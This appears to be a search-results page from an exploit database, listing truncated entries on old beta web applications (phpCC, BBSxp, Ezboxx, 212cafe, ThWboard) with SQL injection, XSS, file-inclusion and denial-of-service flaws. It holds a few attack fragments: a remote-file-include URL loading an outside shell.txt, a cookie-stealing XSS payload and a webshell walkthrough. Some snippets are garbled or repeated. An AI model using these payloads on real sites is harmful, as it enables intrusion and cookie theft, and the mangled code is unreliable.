3560 matches found
phpCC <= 4.2 beta (nickpage.php npid) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================== phpCC : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; print "User :...
Then the storm BBSxp 7.0 Beta 2 vulnerability-vulnerability warning-the black bar safety net
The vulnerability exists in the file setup. asp The first part of the Registration－login-post-edit-capture-package-promoted to administrator-change background-password - login backend-WEBSHELL Here I set the password as: ttfct1 ,NC submitted successfully provided for the administrator. With...
Inertia News Remote File İnclude
Version : 0.02 beta Error : require "$inewspath/inertiasqlclass.php"; Exploit : http://www.victim.com/inertianewsmain.php?inewspath=http://www.site.com/shell.txt Eno7.Org - Crazy-King.ORg Thanks : Apaci & Erne & Eno7 & Tamturk & UyussMan & Ayyldz Tim...
Microsoft Internet Explorer 678 - li Element Denial of Service (3)
Microsoft Internet Explorer 678 - li Element Denial of Service 3 source: https://www.securityfocus.com/bid/36070/info Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability. Successful exploits can allow attackers to crash the affected browser, resulting in...
joomla150beta-sql.txt
Hi, These bugs were published in full-disclosure about 2 weeks ago CVE : CVE-2007-0373, CVE-2007-0374 and CVE-2007-0375, CVE-2007-0387 . In Mambo 4.6.1 and Joomla 1.0.11 and 1.5 Beta , the 'id' parameter can cause sql injection when cancelling content editting . Other versions maybe affected too...
Cross site scripting
Cross-site scripting XSS vulnerability in list3.php in 212cafeBoard 6.30 Beta allows remote attackers to inject arbitrary web script or HTML via the user parameter...
CVE-2007-0550
The CVE-2007-0550 entry concerns a Cross-Site Scripting (XSS) vulnerability in the search.php component of 212cafeBoard 0.08 Beta. The flaw allows remote attackers to inject arbitrary web script or HTML via the keyword parameter, as documented by the NVD entry with CVSS 2.0 base score 6.8 (Medium...
CVE-2007-0549
Cross-site scripting XSS vulnerability in list3.php in 212cafeBoard 6.30 Beta allows remote attackers to inject arbitrary web script or HTML via the user parameter...
CVE-2006-6954
Flock beta 1 0.7 allows remote attackers to cause a denial of service application crash via a web page that contains a large number of nested marquee tags, a related issue to CVE-2006-2723...
CVE-2006-6954
Flock beta 1 0.7 allows remote attackers to cause a denial of service application crash via a web page that contains a large number of nested marquee tags, a related issue to CVE-2006-2723...
CVE-2006-6954
Flock beta 1 0.7 allows remote attackers to cause a denial of service application crash via a web page that contains a large number of nested marquee tags, a related issue to CVE-2006-2723...
CVE-2006-6954
The CVE-2006-6954 entry affects Flock beta 1 0.7, where a remote attacker can cause a denial of service (application crash) by delivering a web page that contains a large number of nested marquee tags. This vulnerability is related to CVE-2006-2723. The provided documents do not specify a remedia...
CVE-2007-0498
MySpeach 2.1 beta (and possibly earlier) is affected by CVE-2007-0498 via up.php, allowing remote PHP code execution through a URL parameter my[root]. This is a PHP remote file inclusion vulnerability with a base score of 7.5 (HIGH) and network attack vector, per NVD, and the documents do not pro...
XSS in Guestbook ( v.4.00 beta )
Hello Vulnerable : Guestbook By 212cafe.com Version: v.4.00 beta Web : http://www.212cafe.com Exploit : http://www.example.com/guestbookv4.0/show.php?user=XSS Example : http://www.example.com/guestbookv4.0/show.php?user='scriptalertdocument.cookie;/script ----- Discoverey By LinuxDrox...
CVE-2007-0259
CVE-2007-0259 affects Ezboxx Portal System Beta 0.7.6 and earlier. The vulnerability arises from an invalid cat parameter to the boxx/knowledgebase.asp page, causing an error message that reveals the server path. This exposes sensitive information to remote attackers. Exploitation details, affect...
CVE-2007-0265
CVE-2007-0265 concerns Ezboxx Portal System Beta 0.7.6 and earlier, where multiple cross-site scripting (XSS) vulnerabilities allow remote attackers to inject arbitrary script/HTML via (1) pic parameter in custom/piczoom.asp, (2) nocatname parameter in boxx/user-upload.asp, or (3) iid parameter i...
CVE-2007-0266: Undefined Security Weakness
SQL injection vulnerability in boxx/ShowAppendix.asp in Ezboxx Portal System Beta 0.7.6 and earlier allows remote attackers to inject arbitrary web script or HTML via the iid parameter...
ThWboard 3.0b2.84-php5 - SQL Injection Code Execution
ThWboard 3.0b2.84-php5 - SQL Injection Code Execution ?php printr' ----------------------------------------------------------------------------- ThWboard =3.0 beta 2.84-php5 boardstyleid sql injection / cmd exec exploit by rgod dork: "powered by ThWboard" version specific: "powered by ThWboard 3...
ThWboard <= 3.0b2.84-php5 SQL Injection / Code Execution Exploit
Exploit for unknown platform in category web applications ================================================================ ThWboard = 3.0b2.84-php5 SQL Injection / Code Execution Exploit ================================================================ ?php printr'...
Ezboxx multiple vulnerabilities.
Ezboxx multiple vulnerabilities. Vulnerable version: Ezboxx Portal System Beta v 0.7.6 and below. The Ezboxx Portal System Beta v 0.7.6 and below versions are vulnerable to Cross-site scripting, Path disclosure and SQL Injection attacks. Cross-site scripting: ---------------------- Description:...